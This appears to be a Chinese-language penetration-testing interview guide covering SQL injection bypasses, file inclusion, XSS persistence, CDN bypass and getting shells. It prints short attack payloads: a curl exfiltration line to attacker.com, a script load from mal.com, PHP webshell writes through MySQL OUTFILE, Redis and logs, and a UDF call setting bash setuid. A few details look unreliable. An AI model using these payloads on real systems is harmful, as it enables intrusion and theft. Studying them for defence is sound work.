安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[941 逻辑漏洞类型](#941 逻辑漏洞类型)
[942 登录框渗透思路](#942 登录框渗透思路)
[943 CDN与DNS区别](#943 CDN与DNS区别)
[944 CDN绕过思路](#944 CDN绕过思路)
[945 命令无回显解决方案](#945 命令无回显解决方案)
[946 XSS持久化控制](#946 XSS持久化控制)
[947 文件包含Getshell](#947 文件包含Getshell)
[948 HttpOnly绕过](#948 HttpOnly绕过)
[949-951 sqlmap --os-shell利用](#949-951 sqlmap --os-shell利用)
[952 Linux日志路径](#952 Linux日志路径)
[953 PHP %00截断原理](#953 PHP %00截断原理)
[954 Sleep禁用后的时间盲注](#954 Sleep禁用后的时间盲注)
[955 phpMyAdmin写Shell](#955 phpMyAdmin写Shell)
[956 SSRF+Redis写Shell](#956 SSRF+Redis写Shell)
[957 UDF提权原理](#957 UDF提权原理)
[958 报错注入函数](#958 报错注入函数)
[959 SQL注入单引号被过滤](#959 SQL注入单引号被过滤)
[960 逗号过滤绕过](#960 逗号过滤绕过)
941 逻辑漏洞遇到过哪些 942 给你登录框有没有什么思路? 943 CDN和DNS区别? 944 CDN绕过思路? 945 命令无回显如何解决? 946 在有shell的情况下,如何使用xss实现对目标站的长久控制? 947 文件包含Getshell思路? 948 httponly绕过? 949 sqlmap中--os-shell的利用条件? 950 sqlmap中--os-shell的原理? 951 sqlmap --os-shell原理详细分析 952 Linux日志目录? 953 php的%00截断的原理是什么? 954 sleep被禁用后还能怎么进行延时sql注入 955 phpmyadmin写sehll的方法? 956 ssrf怎么用redis写shell? 957 udf提取原理是什么 958 报错注入的函数有哪些? 959 SQL注入单引号被过滤怎么办? 960 SQL注入逗号被过滤了怎么办?941 逻辑漏洞类型
- 业务逻辑缺陷
- 支付漏洞:修改价格参数、重复提交订单、负值购买
- 认证绕过:密码重置Token泄露、短信验证码爆破
- 越权操作:垂直越权(普通用户访问管理员功能)、水平越权(访问他人数据)
- 流程漏洞
- 步骤跳过:直接访问验证后的URL跳过OTP校验
- 条件竞争:高并发请求薅羊毛(如限时优惠券)
942 登录框渗透思路
mermaid
graph TD A[登录框测试] --> B[爆破测试] A --> C[注入测试] A --> D[逻辑漏洞] B --> B1[弱口令/字典爆破] B --> B2[撞库攻击] C --> C1[SQL注入' or 1=1 --] C --> C2[XSS弹窗探测] D --> D1[密码重置漏洞] D --> D2[验证码绕过] D --> D3[响应包泄露敏感信息]
943 CDN与DNS区别
维度 CDN DNS 核心功能 内容分发加速 域名解析为IP 缓存机制 静态资源边缘节点缓存 无缓存或仅缓存解析结果 安全防护 提供WAF/DDoS防护 无直接防护能力 访问路径 用户→边缘节点→源站 用户→直接访问目标服务器
944 CDN绕过思路
- 查找真实IP
- 历史DNS记录:通过SecurityTrails等工具查询
- 子域名探测:
*.example.com可能未接入CDN- 邮件服务器:查看企业邮件的原始IP头
- 特殊请求
- Host头伪造:
Host: 真实IP- 海外节点访问:部分CDN未覆盖偏远地区
945 命令无回显解决方案
网络层探测
bash
curl http://attacker.com/$(whoami) # DNS或HTTP日志外带数据时间盲注
id && sleep 5→ 通过响应延迟判断执行结果文件写入
id > /tmp/result.txt再通过LFI读取
946 XSS持久化控制
本地存储植入
javascript
localStorage.setItem("backdoor", "<script src='http://mal.com/exp.js'>");Service Worker劫持
javascript
navigator.serviceWorker.register("/sw.js", {scope: "/"})浏览器插件漏洞
利用过期的浏览器插件执行持久化脚本
947 文件包含Getshell
- 路径遍历+日志注入
?file=../../var/log/nginx/access.log→ 向UA注入PHP代码- 临时文件利用
配合文件上传漏洞包含/tmp/phpXXXXXX- PHP伪协议
php://filter/convert.base64-encode/resource=upload.php读取源码找漏洞
948 HttpOnly绕过
- 浏览器漏洞
利用CVE-2024-XXXX等XSS漏洞直接读取Cookie- 中间件漏洞
通过Apache/Nginx配置错误获取Cookie日志- 网络嗅探
中间人攻击劫持未加密的Cookie传输
949-951 sqlmap --os-shell利用
条件 原理 数据库写权限 上传UDF/webshell到可写目录 绝对路径已知 需通过 @@datadir等获取路径支持堆叠查询 MySQL需添加 --batch-requests执行流程 → 上传恶意程序 → 调用系统命令 → 建立反向Shell通道
952 Linux日志路径
- 系统日志
/var/log/syslog(Ubuntu)·/var/log/messages(CentOS)- 认证日志
/var/log/auth.log·/var/log/secure- Web日志
/var/log/apache2/access.log·/var/log/nginx/access.log
953 PHP %00截断原理
- C语言字符串终止符
PHP 5.3.4前0x00会被识别为字符串结束标志:
include($_GET['f'].".php");→?f=../../../etc/passwd%00- 修复方案
PHP 5.4后移除此特性,需用长路径绕过
954 Sleep禁用后的时间盲注
重负载延时
sql
BENCHMARK(10000000, MD5('test')) # 执行密集型函数条件响应延迟
sql
IF(SUBSTR(database(),1,1)='a', (SELECT COUNT(*) FROM huge_table), 0)
955 phpMyAdmin写Shell
SQL命令写入
sql
SELECT "<?php system($_GET['c']);?>" INTO OUTFILE "/var/www/html/shell.php"日志文件写入
开启全局日志并修改路径:
sql
SET global general_log_file='/var/www/html/shell.php';
956 SSRF+Redis写Shell
mermaid
sequenceDiagram Attacker->>+Web: 发送SSRF请求 Web->>+Redis: 通过gopher协议连接 Redis-->>-Web: 返回响应 Web-->>-Attacker: 执行结果 关键命令: redis-cli -h 内网IP flushall config set dir /var/www/html config set dbfilename shell.php set x "<?php system($_GET['cmd']);?>" save
957 UDF提权原理
动态库注入
编译恶意UDF(如lib_mysqludf_sys.so)函数声明
sql
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';命令执行
sql
SELECT sys_exec('chmod +s /bin/bash');
958 报错注入函数
MySQL
updatexml()·extractvalue()·floor(rand()*2)
sql
SELECT updatexml(1, concat(0x7e,(SELECT user())),1)SQL Server
convert()·db_name()
959 SQL注入单引号被过滤
- 编码绕过
CHAR(65,66,67)替代'ABC'- 数字型注入
?id=1 AND (SELECT 1 FROM users LIMIT 1)=1- 注释符截断
?id=a'||'dmin'-- -→ 拼接为admin
960 逗号过滤绕过
LIMIT偏移替代
sql
SELECT * FROM users LIMIT 1 OFFSET 2 # 替代 LIMIT 2,1JOIN盲注
sql
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)cSUBSTR参数调整
sql
SUBSTR(database() FROM 1 FOR 1) # 替代 SUBSTR(database(),1,1)